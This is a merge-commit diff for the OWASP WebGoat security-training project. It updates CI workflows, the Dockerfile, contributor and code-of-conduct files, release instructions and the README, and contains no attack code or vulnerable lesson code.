Merge branch 'release/v2023.3'

`mvn verify` already checks formatting, having a separate step is not necessary. We now also check Markdown files for correct formatting.

.dockerignore

@@ -0,0 +1,3 @@
+**
+
+!/target

.editorconfig

@@ -0,0 +1,15 @@
+root = true
+
+[*]
+charset = utf-8
+end_of_line = lf
+indent_size = 4
+indent_style = space
+insert_final_newline = true
+max_line_length = 120
+tab_width = 4
+ij_continuation_indent_size = 8
+ij_formatter_off_tag = @formatter:off
+ij_formatter_on_tag = @formatter:on
+ij_formatter_tags_enabled = false
+ij_java_names_count_to_use_import_on_demand = 999

.github/FUNDING.yml

@@ -0,0 +1 @@
+custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat

.github/lock.yml

@@ -0,0 +1,10 @@
+---
+daysUntilLock: 365
+skipCreatedBefore: false
+exemptLabels: []
+lockLabel: false
+lockComment: >
+  This thread has been automatically locked because it has not had
+  recent activity after it was closed. :lock: Please open a new issue
+  for regressions or related bugs.
+setLockReason: false

.github/stale.yml

@@ -0,0 +1,10 @@
+---
+daysUntilStale: 90
+daysUntilClose: 14
+onlyLabels:
+  - waiting for input
+  - wontfix
+staleLabel: stale
+markComment: >
+  This issue has been automatically marked as `stale` because it has not had recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs.
+closeComment: false

.github/workflows/build.yml

@@ -1,41 +1,68 @@
 name: "Build"
 on:
+  pull_request:
+    paths-ignore:
+      - '.txt'
+      - 'LICENSE'
+      - 'docs/**'
   push:
-    branches: [ '*' ]
+    branches:
+      - main
+      - develop
+      - release/*
     tags-ignore:
       - '*'
+    paths-ignore:
+      - '.txt'
+      - 'LICENSE'
+      - 'docs/**'
 
 jobs:
-  build:
+  pr-build:
+    if: >
+      github.event_name == 'pull_request' && !github.event.pull_request.draft && (
+        github.event.action == 'opened' ||
+        github.event.action == 'reopened' ||
+        github.event.action == 'synchronize' 
+      )
     runs-on: ${{ matrix.os }}
     strategy:
       matrix:
         os: [ubuntu-latest, windows-latest, macos-latest]
-        java: [11, 15]
     steps:
-      - uses: actions/checkout@v2
-      - name: Set up JDK ${{ matrix.java }}
-        uses: actions/setup-java@v1
+      - uses: actions/checkout@v3
+      - name: Set up JDK 17
+        uses: actions/setup-java@v3
         with:
-          java-version: ${{ matrix.java }}
+          distribution: 'temurin'
+          java-version: 17
           architecture: x64
       - name: Cache Maven packages
-        uses: actions/cache@v2.1.4
+        uses: actions/cache@v3.2.2
         with:
           path: ~/.m2
           key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
-          restore-keys: ${{ runner.os }}-m2
+          restore-keys: ${{ runner.os }}-m2-
       - name: Build with Maven
-        run: mvn clean install
+        run: mvn --no-transfer-progress verify
 
-  notify-slack:
-    if: github.event_name == 'push' && (success() || failure())
-    needs:
-      - build
+  build:
+    if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
     runs-on: ubuntu-latest
+    name: "Branch build"
     steps:
-      - name: "Slack workflow notification"
-        uses: Gamesight/slack-workflow-status@master
-        with:
-          repo_token: ${{secrets.GITHUB_TOKEN}}
-          slack_webhook_url: ${{secrets.SLACK_WEBHOOK_URL}}
+        - uses: actions/checkout@v3
+        - name: set up JDK 17
+          uses: actions/setup-java@v3
+          with:
+              distribution: 'temurin'
+              java-version: 17
+              architecture: x64
+        - name: Cache Maven packages
+          uses: actions/cache@v3.2.2
+          with:
+              path: ~/.m2
+              key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
+              restore-keys: ubuntu-latest-m2-
+        - name: Test with Maven
+          run: mvn --no-transfer-progress verify

.github/workflows/rebase.yml

@@ -1,19 +0,0 @@
-name: "Automatic Rebase"
-on:
-  issue_comment:
-    types: [created]
-jobs:
-  rebase:
-    name: Rebase
-    if: github.event.issue.pull_request != '' && contains(github.event.comment.body, '/rebase') && github.event.comment.author_association == 'MEMBER'
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout the latest code
-        uses: actions/checkout@v2
-        with:
-          token: ${{ secrets.GITHUB_TOKEN }}
-          fetch-depth: 0 # otherwise, you will fail to push refs to dest repo
-      - name: Automatic Rebase
-        uses: cirrus-actions/rebase@1.4
-        env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/release.yml

@@ -5,23 +5,27 @@ on:
       - v*
 jobs:
   release:
+    if: github.repository == 'WebGoat/WebGoat'
     name: Release WebGoat
     runs-on: ubuntu-latest
+    environment:
+      name: release
     steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v3
 
       - name: "Get tag name"
         id: tag
         uses: dawidd6/action-get-tag@v1
 
-      - name: Set up JDK 11
-        uses: actions/setup-java@v1
+      - name: Set up JDK 17
+        uses: actions/setup-java@v3
         with:
-          java-version: 11
+          distribution: 'zulu'
+          java-version: 17
           architecture: x64
 
       - name: Cache Maven packages
-        uses: actions/cache@v2.1.4
+        uses: actions/cache@v3.2.2
         with:
           path: ~/.m2
           key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
@@ -34,16 +38,15 @@ jobs:
           echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
       - name: Build with Maven
         run: |
-          mvn versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
-          mvn clean install -DskipTests
+          mvn --no-transfer-progress versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
+          mvn --no-transfer-progress install -DskipTests
 
       - name: "Create release"
         uses: softprops/action-gh-release@v1
         with:
           draft: false
           files: |
-            webgoat-server/target/webgoat-server-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
-            webwolf/target/webwolf-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
+            target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
           body: |
             ## Version ${{ steps.tag.outputs.tag }}
 
@@ -55,6 +58,8 @@ jobs:
 
             - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
               
+            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}  
+
 
             ## Contributors
 
@@ -71,29 +76,63 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
       - name: "Set up QEMU"
-        uses: docker/setup-qemu-action@v1
+        uses: docker/setup-qemu-action@v2.1.0
+        with:
+          platforms: all
 
       - name: "Set up Docker Buildx"
-        uses: docker/setup-buildx-action@v1
+        uses: docker/setup-buildx-action@v2
 
       - name: "Login to dockerhub"
-        uses: docker/login-action@v1
+        uses: docker/login-action@v2.1.0
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: "Build and push"
-        uses: docker/build-push-action@v2
+        uses: docker/build-push-action@v3.2.0
         with:
-          context: ./docker
-          file: docker/Dockerfile
-          push: false #todo enable
-          platforms: linux/amd64
+          context: ./
+          file: ./Dockerfile
+          push: true 
+          platforms: linux/amd64, linux/arm64, linux/arm/v7
           tags: |
-            webgoat/goatandwolf:${{ env.WEBGOAT_TAG_VERSION }}
-            webgoat/goatandwolf:latest
+            webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
+            webgoat/webgoat:latest
           build-args: |
             webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
 
       - name: "Image digest"
         run: echo ${{ steps.docker_build.outputs.digest }}
+  new_version:
+    permissions:
+      contents: write  # for Git to git push
+    if: github.repository == 'WebGoat/WebGoat'
+    name: Update development version
+    needs: [ release ]
+    runs-on: ubuntu-latest
+    environment:
+      name: release
+    steps:
+      - uses: actions/checkout@v3
+        with:
+          ref: develop
+          token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
+
+      - name: Set up JDK 17
+        uses: actions/setup-java@v3
+        with:
+          java-version: 17
+          architecture: x64
+
+      - name: Set version to next snapshot
+        run: |
+          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
+
+      - name: Commit pom.xml
+        run: |
+          git config user.name webgoat-github
+          git config user.email owasp.webgoat@gmail.com
+          find . -name 'pom.xml' | xargs git add
+          git commit -m "Updating to the new development version"
+          git push

.github/workflows/test.yml

@@ -0,0 +1,68 @@
+name: "UI-Test"
+on:
+    pull_request:
+        paths-ignore:
+            - '.txt'
+            - '*.MD'
+            - '*.md'
+            - 'LICENSE'
+            - 'docs/**'
+    push:
+#        tags-ignore:
+#            - '*'
+        paths-ignore:
+            - '.txt'
+            - '*.MD'
+            - '*.md'
+            - 'LICENSE'
+            - 'docs/**'
+
+jobs:
+    build:
+        runs-on: ubuntu-latest
+        # display name of the job
+        name: "Robot framework test"
+        steps:
+            # Uses an default action to checkout the code
+            - uses: actions/checkout@v3
+            # Uses an action to add Python to the VM
+            - name: Setup Pyton
+              uses: actions/setup-python@v4
+              with:
+                  python-version: '3.7'
+                  architecture: x64
+            # Uses an action to add JDK 17 to the VM (and mvn?)
+            - name: set up JDK 17
+              uses: actions/setup-java@v3
+              with:
+                  distribution: 'temurin'
+                  java-version: 17
+                  architecture: x64
+            #Uses an action to set up a cache using a certain key based on the hash of the dependencies
+            - name: Cache Maven packages
+              uses: actions/cache@v3.2.2
+              with:
+                  path: ~/.m2
+                  key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
+                  restore-keys: ubuntu-latest-m2-
+            - uses: BSFishy/pip-action@v1
+              with:
+                  packages: |
+                      robotframework
+                      robotframework-SeleniumLibrary
+                      webdriver-manager
+            - name: Run with Maven
+              run: mvn --no-transfer-progress spring-boot:run &
+            - name: Wait to start
+              uses: ifaxity/wait-on-action@v1
+              with:
+                  resource: http://127.0.0.1:8080/WebGoat
+            - name: Test with Robotframework
+              run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
+            # send report to forks only due to limits on permission tokens
+            - name: Send report to commit
+              if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
+              uses: joonvena/robotframework-reporter-action@v2.1
+              with:
+                  gh_access_token: ${{ secrets.GITHUB_TOKEN }}
+                  report_path: 'robotreport'

.github/workflows/welcome.yml

@@ -1,12 +1,16 @@
 name: Welcome
 
-on: [pull_request, issues]
+on:
+  issues:
+    types:
+      - opened
 
 jobs:
   greeting:
+    if: github.repository == 'WebGoat/WebGoat'
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/first-interaction@v1
+      - uses: actions/first-interaction@v1.1.1
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'

.gitignore

@@ -54,3 +54,6 @@ webgoat.properties
 webgoat.script
 TestClass.class
 **/*.flattened-pom.xml
+/.gitconfig
+
+webgoat.gitconfig

.mvn/wrapper/maven-wrapper.properties

@@ -1,2 +1,2 @@
-distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.2.5/apache-maven-3.2.5-bin.zip
-wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar
+distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.1/apache-maven-3.8.1-bin.zip
+wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar

CODE_OF_CONDUCT.md

@@ -0,0 +1,60 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment include:
+
+- Using welcoming and inclusive language
+- Being respectful of differing viewpoints and experiences
+- Gracefully accepting constructive criticism
+- Focusing on what is best for the community
+- Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+- The use of sexualized language or imagery and unwelcome sexual attention or advances
+- Trolling, insulting/derogatory comments, and personal or political attacks
+- Public or private harassment
+- Publishing others' private information, such as a physical or electronic address, without explicit permission
+- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack).
+- Other conduct which could reasonably be considered inappropriate in a professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
+
+## Disclaimer
+
+The WebGoat project and its materials are conceived for educational and research purposes only.
+
+Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials.
+
+The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them.
+
+Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions.
+
+The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org.
+
+All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4").
+
+For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq)

CONTRIBUTING.md

@@ -0,0 +1,105 @@
+# Contributing
+
+[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
+![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
+![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
+
+This document describes how you can contribute to WebGoat. Please read it carefully.
+
+**Table of Contents**
+
+* [How to Contribute to the Project](#how-to-contribute-to-the-project)
+* [How to set up your Contributor Environment](#how-to-set-up-your-contributor-environment)
+* [How to get your PR Accepted](#how-to-get-your-pr-accepted)
+
+## How to Contribute to the project
+
+There are a couple of ways on how you can contribute to the project:
+
+* **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added.
+* **Create a [pull request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos.
+* **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat).
+
+## How to get your PR accepted
+
+Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short:
+The minimum requirements for code contributions are:
+
+1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules.
+2. All new and changed code _should_ have a corresponding unit and/or integration test.
+3. New and changed lessons _must_ have a corresponding integration test.
+4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit.
+
+Additionally, the following guidelines can help:
+
+### Keep your pull requests limited to a single issue
+
+Pull requests should be as small/atomic as possible. Large, wide-sweeping changes in a pull request will be **rejected**, with comments to isolate the specific code in your pull request. Some examples:
+
+* If you are making spelling corrections in the docs, don't modify other files.
+* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request.
+
+### Write a good commit message
+
+* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
+
+* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
+
+For example: `Fix #545` or `Closes #10`
+
+## How to set up your Contributor Environment
+
+1. Create a GitHub account. Multiple different GitHub subscription plans are available, but you only need a free one. Follow [these steps](https://help.github.com/en/articles/signing-up-for-a-new-github-account "Signing up for a new GitHub account") to set up your account.
+2. Fork the repository. Creating a fork means creating a copy of the repository on your own account, which you can modify without any impact on this repository. GitHub has an [article that describes all the needed steps](https://help.github.com/en/articles/fork-a-repo "Fork a repo").
+3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this.
+4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository:
+
+   ```bash
+   	$ git remote -v
+   	origin git@github.com:<your Github handle>/WebGoat.git (fetch)
+   	origin git@github.com:<your Github handle>/WebGoat.git (push)
+
+   	$ git remote add upstream git@github.com:WebGoat/WebGoat.git
+
+   	$ git remote -v
+   	origin git@github.com:<your Github handle>/WebGoat.git (fetch)
+   	origin git@github.com:<your Github handle>/WebGoat.git (push)
+   	upstream git@github.com:OWASP/WebGoat.git (fetch)
+   	upstream git@github.com:OWASP/WebGoat.git (push)
+   ```
+
+   See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
+
+5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues").
+
+6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66`
+
+7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/).
+
+8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub.
+
+9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer.
+
+10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR.
+
+11. When starting on a new PR in the future, make sure to always keep your local repo up to date:
+
+    ```bash
+    $ git fetch upstream
+    $ git merge upstream/develop
+    ```
+
+    See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
+
+If at any time you want to work on a different issue, you can simply switch to a different branch, as explained in step 5.
+
+> Tip: Don't try to work on too many issues at once though, as it will be a lot more difficult to merge branches the longer they are open.
+
+## What not to do
+
+Although we greatly appreciate any and all contributions to the project, there are a few things that you should take into consideration:
+
+* The WebGoat project should not be used as a platform for advertisement for commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section.
+* Unnecessary self-promotion of tools or blog posts is frowned upon. If you have a relation with on of the URLs or tools you are referencing, please state so in the PR so that we can verify that the reference is in line with the rest of the guide.
+
+Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md) for all the details.

CREATE_RELEASE.md

@@ -1,13 +1,13 @@
 ## Release WebGoat
 
-
 ### Version numbers
 
 For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
- and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use 
- `v8.0.0` in the `pom.xml`
+and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
+`v8.0.0` in the `pom.xml`
 
 ### Release notes:
+
 Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
 committers.
 
@@ -16,20 +16,17 @@ At the moment we use Gitflow, for a release you create a new release branch and
 ```
 git checkout develop
 git flow release start <version>
-mvn versions:set <<version>  
-git commit -am "New release, updating pom.xml" 
 git flow release publish
 
 <<Make changes if necessary>>
+<<Update RELEASE_NOTES.md>>
 
 git flow release finish <version>
 git push origin develop
-git push origin master
+git push origin main
 git push --tags
 ```
 
 Now Travis takes over and will create the release in Github and on Docker Hub.
 
 NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version
-
-

Dockerfile

@@ -0,0 +1,32 @@
+FROM docker.io/eclipse-temurin:17-jre-focal
+
+RUN useradd -ms /bin/bash webgoat
+RUN chgrp -R 0 /home/webgoat
+RUN chmod -R g=u /home/webgoat
+
+USER webgoat
+
+COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
+
+EXPOSE 8080
+EXPOSE 9090
+
+WORKDIR /home/webgoat
+ENTRYPOINT [ "java", \
+   "-Duser.home=/home/webgoat", \
+   "-Dfile.encoding=UTF-8", \
+   "--add-opens", "java.base/java.lang=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.util=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.text=ALL-UNNAMED", \
+   "--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \
+   "--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \
+   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.util=ALL-UNNAMED", \
+   "-Drunning.in.docker=true", \
+   "-Dwebgoat.host=0.0.0.0", \
+   "-Dwebwolf.host=0.0.0.0", \
+   "-Dwebgoat.port=8080", \
+   "-Dwebwolf.port=9090", \
+   "-jar", "webgoat.jar" ]

PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1 @@
+Thank you for submitting a pull request to the WebGoat!

README.MD

@@ -1,146 +0,0 @@
-# WebGoat 8: A deliberately insecure Web Application
-
-[![Build Status](https://travis-ci.org/WebGoat/WebGoat.svg?branch=develop)](https://travis-ci.org/WebGoat/WebGoat)
-[![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=develop&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master)
-[![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat)
-[![OWASP Labs](https://img.shields.io/badge/owasp-lab%20project-f7b73c.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects)
-[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
-[![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
-
-# Introduction
-
-WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web
-application security lessons.
-
-This program is a demonstration of common server-side application flaws. The
-exercises are intended to be used by people to learn about application security and
-penetration testing techniques.
-
-**WARNING 1:** *While running this program your machine will be extremely
-vulnerable to attack. You should disconnect from the Internet while using
-this program.*  WebGoat's default configuration binds to localhost to minimize
-the exposure.
-
-**WARNING 2:** *This program is for educational purposes only. If you attempt
-these techniques without authorization, you are very likely to get caught. If
-you are caught engaging in unauthorized hacking, most companies will fire you.
-Claiming that you were doing security research will not work as that is the
-first thing that all hackers claim.*
-
-# Installation Instructions:
-
-## 1. Run using Docker
-
-Every release is also published on [DockerHub]((https://hub.docker.com/r/webgoat/webgoat-8.0/)).
-
-### Using docker run
-
-The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
-
-```shell
-docker run -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf
-```
-
-WebGoat will be located at: http://127.0.0.1:8080/WebGoat
-WebWolf will be located at: http://127.0.0.1:9090/WebWolf
-
-**Important**: Choose the correct timezone, so that the docker container and your host are in the same timezone. As it important for the validity of JWT tokens used in certain exercises.
-
-### Using docker stack deploy
-
-Another way to deply WebGoat and WebWolf in a more advanced way is to use a compose-file in a docker stack deploy.
-You can define which containers should run in which combinations and define all of this in a yaml file.
-An example of such a file is: [goat-with-reverseproxy.yaml](goat-with-reverseproxy.yaml)
-
-This sets up an nginx webserver as reverse proxy to WebGoat and WebWolf. You can change the timezone by adjusting the value in the yaml file.
-
-```shell
-docker stack init
-docker stack deploy --compose-file goat-with-reverseproxy.yaml webgoatdemo
-```
-
-Add the following entries in your local hosts file:
-
-```shell
-127.0.0.1 www.webgoat.local www.webwolf.localhost
-```
-
-You can use the overall start page: http://www.webgoat.local or:
-
-WebGoat will be located at: http://www.webgoat.local/WebGoat
-
-WebWolf will be located at: http://www.webwolf.local/WebWolf
-
-**Important**: the current directory on your host will be mapped into the container for keeping state.
-
-## 2. Standalone
-
-Download the latest WebGoat and WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
-
-```Shell
-java -jar webgoat-server-8.1.0.jar [--server.port=8080] [--server.address=localhost]
-java -jar webwolf-8.1.0.jar [--server.port=9090] [--server.address=localhost]
-```
-
-The latest version of WebGoat needs Java 11 or above. By default WebGoat and WebWolf start on port 8080,9000 and 9090 with the environment variable WEBGOAT_PORT, WEBWOLF_PORT and WEBGOAT_HSQLPORT you can set different values.
-```Shell
-export WEBGOAT_PORT=18080
-export WEBGOAT_HSQLPORT=19001
-export WEBWOLF_PORT=19090
-java -jar webgoat-server-8.1.0.jar
-java -jar webwolf-8.1.0.jar 
-```
-Use set in stead of export on Windows cmd. 
-
-
-## 3. Run from the sources
-
-### Prerequisites:
-
-* Java 11
-* Maven > 3.2.1
-* Your favorite IDE
-* Git, or Git support in your IDE
-
-Open a command shell/window:
-
-```Shell
-git clone git@github.com:WebGoat/WebGoat.git
-```
-
-Now let's start by compiling the project.
-
-```Shell
-cd WebGoat
-git checkout <<branch_name>>
-mvn clean install
-```
-
-Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
-
-```Shell
-mvn -pl webgoat-server spring-boot:run
-```
-... you should be running webgoat on localhost:8080/WebGoat momentarily
-
-
-To change IP address add the following variable to WebGoat/webgoat-container/src/main/resources/application.properties file
-
-```
-server.address=x.x.x.x
-```
-
-## 4. Run with custom menu
-
-For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting environment variables.
-
-For instance running as a jar on a Linux/MacOS it will look like:
-```Shell
-export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
-export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
-java -jar webgoat-server/target/webgoat-server-v8.2.0-SNAPSHOT.jar
-```
-Or in a docker run it would (once this version is pushed into docker hub) look like:
-```Shell
-docker run -d -p 80:8888 -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/goatandwolf
-```

README.md

@@ -0,0 +1,136 @@
+# WebGoat 8: A deliberately insecure Web Application
+
+[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
+[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/)
+[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
+[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
+[![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
+[![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
+
+# Introduction
+
+WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web
+application security lessons.
+
+This program is a demonstration of common server-side application flaws. The
+exercises are intended to be used by people to learn about application security and
+penetration testing techniques.
+
+**WARNING 1:** *While running this program your machine will be extremely
+vulnerable to attack. You should disconnect from the Internet while using
+this program.*  WebGoat's default configuration binds to localhost to minimize
+the exposure.
+
+**WARNING 2:** *This program is for educational purposes only. If you attempt
+these techniques without authorization, you are very likely to get caught. If
+you are caught engaging in unauthorized hacking, most companies will fire you.
+Claiming that you were doing security research will not work as that is the
+first thing that all hackers claim.*
+
+# Installation instructions:
+
+For more details check [the Contribution guide](/CONTRIBUTING.md)
+
+## 1. Run using Docker
+
